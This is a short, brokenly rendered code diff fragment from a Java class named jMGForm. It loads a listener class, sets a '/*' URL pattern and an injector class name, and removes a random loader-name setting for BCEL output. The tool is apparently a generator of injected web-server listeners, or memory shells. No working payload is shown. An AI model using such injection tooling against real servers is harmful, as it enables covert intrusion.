if (classLoader == null) {
|
|
||||||
classLoader = context.getClass().getClassLoader();
|
|
||||||
}
|
|
||||||
try {
|
try {
|
||||||
listener = classLoader.loadClass(getClassName()).newInstance();
|
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
|
|||||||
@@ -382,8 +382,6 @@ public class jMGForm {
|
|||||||
config.setUrlPattern("/*");
|
config.setUrlPattern("/*");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if (config.getOutputFormat().contains(Constants.FORMAT_BCEL))
|
|
||||||
config.setLoaderClassName(ClassNameUtil.getRandomLoaderClassName());
|
|
||||||
config.setInjectorSimpleClassName(CommonUtil.getSimpleName(config.getInjectorClassName()));
|
config.setInjectorSimpleClassName(CommonUtil.getSimpleName(config.getInjectorClassName()));
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user